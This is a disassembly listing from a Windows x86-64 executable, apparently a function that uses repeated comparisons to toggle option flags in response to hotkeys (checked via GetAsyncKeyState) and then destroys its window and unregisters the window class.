test r13b, r13b
je 0x140058258
test r9b, r9b
jmp 0x1400581e6
cmp eax, 4
jne 0x140058226
test cl, cl
je 0x140058258
test r10b, r10b
jmp 0x1400581e6
cmp eax, 5
jne 0x140058237
cmp byte [rsp + 0x61], 0
je 0x140058258
test r11b, r11b
jmp 0x1400581e6
cmp eax, 6
jne 0x140058247
cmp byte [rsp + 0x62], 0
je 0x140058258
test bl, bl
jmp 0x1400581e6
cmp eax, 7
jne 0x140058258
cmp byte [rsp + 0x63], 0
je 0x140058258
test dil, dil
jmp 0x1400581e6
movzx eax, byte [0x14022ec4d]
mov ecx, dword [0x14022ec9c]
cmp ecx, 8
jne 0x140058276
cmp byte [rsp + 0x64], 0
je 0x140058290
test sil, sil
jmp 0x140058285
cmp ecx, 9
jne 0x140058290
cmp byte [rsp + 0x65], 0
je 0x140058290
test r14b, r14b
jne 0x140058290
test al, al
sete byte [0x14022ec4d]
mov eax, dword [0x14022ec3c]
cmp eax, 1
jne 0x1400582c3
test r15b, r15b
je 0x14005841e
movzx eax, byte [rsp + 0x60]
test dl, dl
jne 0x140058423
cmp byte [0x14022ec4c], dl
sete byte [0x14022ec4c]
jmp 0x140058423
cmp eax, 2
jne 0x1400582f2
test r12b, r12b
je 0x14005841e
movzx eax, byte [rsp + 0x60]
test r8b, r8b
jne 0x140058423
cmp byte [0x14022ec4c], r8b
sete byte [0x14022ec4c]
jmp 0x140058423
cmp eax, 3
jne 0x140058321
test r13b, r13b
je 0x14005841e
movzx eax, byte [rsp + 0x60]
test r9b, r9b
jne 0x140058423
cmp byte [0x14022ec4c], r9b
sete byte [0x14022ec4c]
jmp 0x140058423
cmp eax, 4
jne 0x14005834f
movzx eax, byte [rsp + 0x60]
test al, al
je 0x140058423
test r10b, r10b
jne 0x140058423
cmp byte [0x14022ec4c], r10b
sete byte [0x14022ec4c]
jmp 0x140058423
cmp eax, 5
jne 0x140058380
cmp byte [rsp + 0x61], 0
je 0x14005841e
movzx eax, byte [rsp + 0x60]
test r11b, r11b
jne 0x140058423
cmp byte [0x14022ec4c], r11b
sete byte [0x14022ec4c]
jmp 0x140058423
cmp eax, 6
jne 0x1400583ac
cmp byte [rsp + 0x62], 0
je 0x14005841e
movzx eax, byte [rsp + 0x60]
test bl, bl
jne 0x140058423
cmp byte [0x14022ec4c], bl
sete byte [0x14022ec4c]
jmp 0x140058423
cmp eax, 7
jne 0x1400583d2
cmp byte [rsp + 0x63], 0
je 0x14005841e
movzx eax, byte [rsp + 0x60]
test dil, dil
jne 0x140058423
cmp byte [0x14022ec4c], dil
sete byte [0x14022ec4c]
jmp 0x140058423
cmp eax, 8
jne 0x1400583f8
cmp byte [rsp + 0x64], 0
je 0x14005841e
movzx eax, byte [rsp + 0x60]
test sil, sil
jne 0x140058423
cmp byte [0x14022ec4c], sil
sete byte [0x14022ec4c]
jmp 0x140058423
cmp eax, 9
jne 0x14005841e
cmp byte [rsp + 0x65], 0
je 0x14005841e
movzx eax, byte [rsp + 0x60]
test r14b, r14b
jne 0x140058423
cmp byte [0x14022ec4c], r14b
sete byte [0x14022ec4c]
jmp 0x140058423
movzx eax, byte [rsp + 0x60]
cmp ecx, 1
jne 0x140058450
test r15b, r15b
je 0x1400585a8
movzx ecx, byte [rsp + 0x61]
test dl, dl
jne 0x1400585ad
cmp byte [0x14022ec27], dl
sete byte [0x14022ec27]
jmp 0x1400585ad
cmp ecx, 2
jne 0x14005847f
test r12b, r12b
je 0x1400585a8
movzx ecx, byte [rsp + 0x61]
test r8b, r8b
jne 0x1400585ad
cmp byte [0x14022ec27], r8b
sete byte [0x14022ec27]
jmp 0x1400585ad
cmp ecx, 3
jne 0x1400584ae
test r13b, r13b
je 0x1400585a8
movzx ecx, byte [rsp + 0x61]
test r9b, r9b
jne 0x1400585ad
cmp byte [0x14022ec27], r9b
sete byte [0x14022ec27]
jmp 0x1400585ad
cmp ecx, 4
jne 0x1400584dc
test al, al
je 0x1400585a8
movzx ecx, byte [rsp + 0x61]
test r10b, r10b
jne 0x1400585ad
cmp byte [0x14022ec27], r10b
sete byte [0x14022ec27]
jmp 0x1400585ad
cmp ecx, 5
jne 0x14005850a
movzx ecx, byte [rsp + 0x61]
test cl, cl
je 0x1400585ad
test r11b, r11b
jne 0x1400585ad
cmp byte [0x14022ec27], r11b
sete byte [0x14022ec27]
jmp 0x1400585ad
cmp ecx, 6
jne 0x140058536
cmp byte [rsp + 0x62], 0
je 0x1400585a8
movzx ecx, byte [rsp + 0x61]
test bl, bl
jne 0x1400585ad
cmp byte [0x14022ec27], bl
sete byte [0x14022ec27]
jmp 0x1400585ad
cmp ecx, 7
jne 0x14005855c
cmp byte [rsp + 0x63], 0
je 0x1400585a8
movzx ecx, byte [rsp + 0x61]
test dil, dil
jne 0x1400585ad
cmp byte [0x14022ec27], dil
sete byte [0x14022ec27]
jmp 0x1400585ad
cmp ecx, 8
jne 0x140058582
cmp byte [rsp + 0x64], 0
je 0x1400585a8
movzx ecx, byte [rsp + 0x61]
test sil, sil
jne 0x1400585ad
cmp byte [0x14022ec27], sil
sete byte [0x14022ec27]
jmp 0x1400585ad
cmp ecx, 9
jne 0x1400585a8
cmp byte [rsp + 0x65], 0
je 0x1400585a8
movzx ecx, byte [rsp + 0x61]
test r14b, r14b
jne 0x1400585ad
cmp byte [0x14022ec27], r14b
sete byte [0x14022ec27]
jmp 0x1400585ad
movzx ecx, byte [rsp + 0x61]
mov eax, dword [0x14022ec90]
cmp eax, 1
jne 0x1400585c8
test r15b, r15b
je 0x14005865a
test dl, dl
jmp 0x14005864a
cmp eax, 2
jne 0x1400585db
test r12b, r12b
je 0x14005865a
test r8b, r8b
jmp 0x14005864a
cmp eax, 3
jne 0x1400585ea
test r13b, r13b
je 0x14005865a
test r9b, r9b
jmp 0x14005864a
cmp eax, 4
jne 0x1400585fb
cmp byte [rsp + 0x60], 0
je 0x14005865a
test r10b, r10b
jmp 0x14005864a
cmp eax, 5
jne 0x140058609
test cl, cl
je 0x14005865a
test r11b, r11b
jmp 0x14005864a
cmp eax, 6
jne 0x140058619
cmp byte [rsp + 0x62], 0
je 0x14005865a
test bl, bl
jmp 0x14005864a
cmp eax, 7
jne 0x14005862a
cmp byte [rsp + 0x63], 0
je 0x14005865a
test dil, dil
jmp 0x14005864a
cmp eax, 8
jne 0x14005863b
cmp byte [rsp + 0x64], 0
je 0x14005865a
test sil, sil
jmp 0x14005864a
cmp eax, 9
jne 0x14005865a
cmp byte [rsp + 0x65], 0
je 0x14005865a
test r14b, r14b
jne 0x14005865a
cmp byte [0x14022ec53], 0
sete byte [0x14022ec53]
mov ecx, dword [rbp + 0x140]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140058691
lea rdx, [0x140055690]
lea rcx, [rbp + 0x7b0]
call fcn.14005cda0
mov rcx, rax
call fcn.140053860
lea rcx, [rbp + 0x7b0]
call fcn.14004bbb0
mov eax, dword [0x14022ec60]
movzx edx, byte [0x14022ec67]
movzx r8d, byte [0x14022ec5f]
movzx r9d, byte [0x14022ebee]
movzx r10d, byte [0x14022eca0]
movzx r11d, byte [0x14022ec1a]
movzx ebx, byte [0x14022ebec]
movzx edi, byte [0x14022ec89]
movzx esi, byte [0x14022ec94]
movzx r14d, byte [0x14022ebef]
cmp eax, 1
jne 0x1400586f0
test r15b, r15b
je 0x14005879e
test dl, dl
jmp 0x14005878e
cmp eax, 2
jne 0x140058706
test r12b, r12b
je 0x14005879e
test r8b, r8b
jmp 0x14005878e
cmp eax, 3
jne 0x140058719
test r13b, r13b
je 0x14005879e
test r9b, r9b
jmp 0x14005878e
cmp eax, 4
jne 0x14005872a
cmp byte [rsp + 0x60], 0
je 0x14005879e
test r10b, r10b
jmp 0x14005878e
cmp eax, 5
jne 0x14005874d
cmp byte [rsp + 0x61], 0
je 0x14005879e
test r11b, r11b
jne 0x14005879e
cmp byte [0x14022ec51], r11b
sete al
mov byte [0x14022ec51], al
jmp 0x1400587a5
cmp eax, 6
jne 0x14005875d
cmp byte [rsp + 0x62], 0
je 0x14005879e
test bl, bl
jmp 0x14005878e
cmp eax, 7
jne 0x14005876e
cmp byte [rsp + 0x63], 0
je 0x14005879e
test dil, dil
jmp 0x14005878e
cmp eax, 8
jne 0x14005877f
cmp byte [rsp + 0x64], 0
je 0x14005879e
test sil, sil
jmp 0x14005878e
cmp eax, 9
jne 0x14005879e
cmp byte [rsp + 0x65], 0
je 0x14005879e
test r14b, r14b
jne 0x14005879e
cmp byte [0x14022ec57], 0
sete byte [0x14022ec57]
movzx eax, byte [0x14022ec51]
mov ecx, dword [0x14022ec48]
cmp ecx, 1
jne 0x1400587d4
test r15b, r15b
je 0x140058900
movzx ecx, byte [rsp + 0x60]
test dl, dl
jne 0x140058905
test al, al
sete byte [0x14022ec51]
jmp 0x140058905
cmp ecx, 2
jne 0x1400587fe
test r12b, r12b
je 0x140058900
movzx ecx, byte [rsp + 0x60]
test r8b, r8b
jne 0x140058905
test al, al
sete byte [0x14022ec51]
jmp 0x140058905
cmp ecx, 3
jne 0x140058828
test r13b, r13b
je 0x140058900
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x140058905
test al, al
sete byte [0x14022ec51]
jmp 0x140058905
cmp ecx, 4
jne 0x140058851
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x140058905
test r10b, r10b
jne 0x140058905
test al, al
sete byte [0x14022ec51]
jmp 0x140058905
cmp ecx, 5
jne 0x14005887d
cmp byte [rsp + 0x61], 0
je 0x140058900
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x140058905
test al, al
sete byte [0x14022ec51]
jmp 0x140058905
cmp ecx, 6
jne 0x14005889d
cmp byte [rsp + 0x62], 0
je 0x140058900
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x140058905
test al, al
sete byte [0x14022ec51]
jmp 0x140058905
cmp ecx, 7
jne 0x1400588be
cmp byte [rsp + 0x63], 0
je 0x140058900
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x140058905
test al, al
sete byte [0x14022ec51]
jmp 0x140058905
cmp ecx, 8
jne 0x1400588df
cmp byte [rsp + 0x64], 0
je 0x140058900
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x140058905
test al, al
sete byte [0x14022ec51]
jmp 0x140058905
cmp ecx, 9
jne 0x140058900
cmp byte [rsp + 0x65], 0
je 0x140058900
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x140058905
test al, al
sete byte [0x14022ec51]
jmp 0x140058905
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x140264a80]
cmp eax, 1
jne 0x140058920
test r15b, r15b
je 0x1400589b2
test dl, dl
jmp 0x1400589a2
cmp eax, 2
jne 0x140058933
test r12b, r12b
je 0x1400589b2
test r8b, r8b
jmp 0x1400589a2
cmp eax, 3
jne 0x140058942
test r13b, r13b
je 0x1400589b2
test r9b, r9b
jmp 0x1400589a2
cmp eax, 4
jne 0x140058950
test cl, cl
je 0x1400589b2
test r10b, r10b
jmp 0x1400589a2
cmp eax, 5
jne 0x140058961
cmp byte [rsp + 0x61], 0
je 0x1400589b2
test r11b, r11b
jmp 0x1400589a2
cmp eax, 6
jne 0x140058971
cmp byte [rsp + 0x62], 0
je 0x1400589b2
test bl, bl
jmp 0x1400589a2
cmp eax, 7
jne 0x140058982
cmp byte [rsp + 0x63], 0
je 0x1400589b2
test dil, dil
jmp 0x1400589a2
cmp eax, 8
jne 0x140058993
cmp byte [rsp + 0x64], 0
je 0x1400589b2
test sil, sil
jmp 0x1400589a2
cmp eax, 9
jne 0x1400589b2
cmp byte [rsp + 0x65], 0
je 0x1400589b2
jne 0x1400589b2
mov eax, dword [0x14022ec3c]
cmp eax, 1
jne 0x1400589cd
call fcn.140045720
call fcn.140045a70
xor ecx, ecx
call fcn.1400069c0
call fcn.14005c690
mov rcx, qword [0x14022ec08]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x208]
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm15, xmmword [rsp + 0x2040]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x2050]
movaps xmm13, xmmword [rsp + 0x2060]
movaps xmm12, xmmword [rsp + 0x2070]
movaps xmm11, xmmword [rsp + 0x2080]
movaps xmm10, xmmword [rsp + 0x2090]
movaps xmm9, xmmword [rsp + 0x20a0]
movaps xmm8, xmmword [rsp + 0x20b0]
movaps xmm7, xmmword [rsp + 0x20c0]
movaps xmm6, xmmword [rsp + 0x20d0]
mov r15, qword [rsp + 0x20e0]
mov r13, qword [rsp + 0x2120]
mov rdi, qword [rsp + 0x2118]
mov rsi, qword [rsp + 0x2110]
mov r14, qword [rsp + 0x20e8]
add rsp, 0x20f0
pop r12
pop rbx
pop rbp
ret